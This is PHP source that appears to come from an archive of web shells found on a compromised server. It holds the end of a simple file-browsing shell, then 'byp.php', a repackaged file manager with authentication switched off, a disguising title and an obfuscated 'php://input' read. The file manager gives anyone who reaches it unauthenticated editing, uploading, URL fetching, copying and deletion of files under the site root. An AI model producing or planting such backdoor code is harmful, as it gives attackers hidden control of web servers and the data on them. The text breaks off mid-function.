if(is_writable("$path/$dir")) echo '<font color="Blue">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="Blue">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><hr width="920" color="black"/> <center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
shawwa/byp.php000064400000560547147510273060007367 0ustar00<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'sympathizing');

$dauth = false;

$auth_users = array(
    'admin' => '788ddd8409045c7077c13c27129b2de0',
    'user' => '788ddd8409045c7077c13c27129b2de0'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
